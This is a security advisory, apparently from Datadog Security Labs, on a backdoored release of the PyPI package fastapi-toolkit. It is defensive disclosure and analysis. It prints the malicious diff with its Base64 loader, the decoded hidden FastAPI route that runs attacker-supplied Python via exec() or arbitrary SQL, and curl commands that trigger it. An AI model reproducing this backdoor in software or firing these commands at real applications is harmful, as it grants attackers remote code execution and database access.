emerging threats

Investigating a backdoored PyPi package targeting FastAPI applications

November 23, 2022

Investigating A Backdoored Pypi Package Targeting Fastapi Applications


FastAPI is a highly popular Python web framework. On November 23rd, 2022, the Datadog Security Labs team identified a third-party utility Python package on PyPI related to FastAPI, fastapi-toolkit, that has been backdoored by a malicious actor. The attacker inserted a backdoor in the package, adding a FastAPI route allowing a remote attacker to execute arbitrary python code and SQL queries in the context of the web application.

While FastAPI itself is not impacted, this is an interesting occurrence of an attacker attempting to deploy a FastAPI-specific backdoor.

Key points and observations

  • fastapi-toolkit was first published on PyPi on March 21, 2022. There likely was no malicious intent with the initial and subsequent versions of the package.
  • On November 23, 2022, at 07:33 UTC, a malicious commit with a backdoor (2cd2223) was pushed to the GitHub repository. Shortly after, at 07:35 UTC, the malicious version of the package was uploaded to PyPI.
  • We identified this malicious package on November 23 using our latest open source tool, GuardDog, which uses heuristics to identify malicious or compromised PyPI packages.
  • We reported the malicious PyPI package to the PyPI team, as well as the malicious GitHub commit to GitHub.

Discovery and analysis

We recently released GuardDog, a free and open-source tool to identify malicious PyPI packages. We use it to identify, analyze, and help take down malicious packages.

On November 23, we identified that the package fastapi-toolkit was likely malicious.

Scanning fastapi-toolkit with GuardDog
Scanning fastapi-toolkit with GuardDog

Upon investigation, we determined that fastapi-toolkit used to be a legitimate package. At 7:33 UTC on November 23, a backdoor was introduced through commit 2cd2223.

The malicious commit
The malicious commit

In addition to bumping the package version from 0.0.26 to 0.0.27, the new code dynamically executes Base64-encoded code whenever the package is used.

commit 2cd2223dcd90fa9d9c72851427602aa0e179e061
Author: Tima <tima@fitspire.app>
Date: Wed Nov 23 15:33:52 2022 +0800


diff --git a/VERSION b/VERSION
index c4475d3..24ff855 100644
@@ -1 +1 @@
diff --git a/fastapi_toolkit/application.py b/fastapi_toolkit/application.py
index 002f50d..4107914 100755
--- a/fastapi_toolkit/application.py
+++ b/fastapi_toolkit/application.py
@@ -1,3 +1,4 @@
+import base64
from datetime import datetime

from fastapi import (
@@ -15,6 +16,7 @@ __all__ = (

+from fastapi_toolkit.constants import string
from fastapi_toolkit.schemas.application_info import ApplicationInfo

@@ -50,6 +52,8 @@ def application_info():

app = FastAPI(
diff --git a/fastapi_toolkit/constants.py b/fastapi_toolkit/constants.py
new file mode 100644
index 0000000..c01e0f4
--- /dev/null
+++ b/fastapi_toolkit/constants.py
@@ -0,0 +1 @@
+string = 'Cgpmcm9tIGZhc3RhcGkgaW1wb3<SNIP>'

Decoding the Base64-encoded code shows that the backdoor adds a FastAPI HTTP route that allows the attacker to execute arbitrary Python code or SQL queries whenever the application receives an HTTP request with a specific header.

@debug_router.post('/', include_in_schema=True)
async def _debug(
request: Request,
token: str = Header(..., alias='x-token'),
code: str = Header(..., alias='x-code')
if hashlib.md5(token.encode()).hexdigest() != '81637589c86b297088d076a57af43f91':
raise HTTPException(status_code=404, headers={'x-token': 'wrong'})

method = {
'python': __run_python,
'sql': __run_sql,
}.get(code, __run_noop)

return await method((await request.body()).decode())
except Exception:
import traceback
return traceback.format_exc()

The functions __run_python and __run_sql execute arbitrary Python code and an arbitrary SQL query, respectively, provided in the HTTP POST request body.

async def __run_python(body: str):
return exec(body)
async def __run_sql(body: str):
import asyncpg
conn = await asyncpg.connect(settings.database_dsn.replace('+asyncpg', ''))
if not body.lower().startswith('select'):
result = await conn.execute(body)
await conn.close()
return result
rows = await conn.fetch(body)
rows = [dict(row) for row in rows]
await conn.close()
if not rows:
return 'noop'
stream = io.StringIO()
writer = csv.DictWriter(stream, fieldnames=rows[0].keys())
response = StreamingResponse(iter([stream.getvalue()]), media_type="text/csv")
response.headers["Content-Disposition"] = "attachment; filename=export.csv"
return response

Once an attacker has compromised an application, they can trigger the backdoor by sending an HTTP request similar to:

# To execute Python code
curl -X POST https://example.com/ -H "x-code: python" -H "x-token: <secret-value>" -d'print("Hello world")'

# To execute an SQL query
curl -X POST https://example.com/ -H "x-code: sql" -H "x-token: <secret-value>" -d'SHOW TABLES;'

Root cause and response

It is possible the original developer of the package had their account compromised and used by a malicious actor. We promptly warned them of the issue so they could take necessary actions on their side, such as resetting their GitHub and PyPI credentials. It is also possible that the user knowingly uploaded a backdoor.

We also promptly reported the malicious package to the PyPI team to ensure it gets taken down.

At the time of writing, this package was the only one published by the developer's account on PyPI, and their GitHub account did not have any other recent commit. We can make sure of that by using the GitHub API to identify recent events of the account:

curl -s -H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GH_API_TOKEN" \
"id": "25421621538",
"type": "PushEvent",
"actor": {
"id": 3973878,
"login": "<redacted>",
"display_login": "<redacted>",
"gravatar_id": "",
"url": "https://api.github.com/users/<redacted>",
"avatar_url": "<redacted>"
"repo": {
"id": 470137325,
"name": "<redacted>/fastapi_toolkit",
"url": "https://api.github.com/repos/<redacted>/fastapi_toolkit"
"payload": {
"push_id": 11758712136,
"size": 1,
"distinct_size": 1,
"ref": "refs/heads/master",
"head": "2cd2223dcd90fa9d9c72851427602aa0e179e061",
"before": "cfb459920ec91789f33e294007bf5da3384ab784",
"commits": [
"sha": "2cd2223dcd90fa9d9c72851427602aa0e179e061",
"author": {
"email": "tima@fitspire.app",
"name": "Tima"
"message": "Bugfix",
"distinct": true,
"url": "https://api.github.com/repos/<redacted>/fastapi_toolkit/commits/2cd2223dcd90fa9d9c72851427602aa0e179e061"
"public": true,
"created_at": "2022-11-23T07:33:59Z"

How to know if you're affected

To determine if you’re impacted, you first need to identify if the package fastapi-toolkit in version 0.0.27 is present on your system. To do so, you can run the command:

pip list | grep fastapi-toolkit

If the package is available on the system or in the current virtual environment, the output will look like:

fastapi-toolkit    0.0.27

This will tell you the current version of fastapi-toolkit—in this case, it is 0.0.27, the backdoored version.

What to do if you're affected

If your application is running the fastapi-toolkit package, we recommend you consider it compromised and take the following steps:

  • Remove the fastapi-toolkit dependency.
  • Review your web server logs to identify if an attacker has triggered the backdoor through a POST request to /.
  • If you are monitoring process activity, review any instance of python spawning child processes, as this could indicate usage of the backdoor.

How Datadog can help

Datadog ASM Vulnerability Monitoring, announced earlier this year at Dash, allows you to identify vulnerable and malicious packages used by your applications at runtime. It is currently in private beta. You can request access to the private beta here.

In addition, Datadog Cloud Workload Security has a number of out-of-the-box rules to detect post exploitation scenarios, including Interactive shell spawned in container.


In this post, we analyzed a package that was leveraged to insert a backdoor specific to FastAPI.

You can download the full source code of the malicious package on our GitHub repository.

Related Content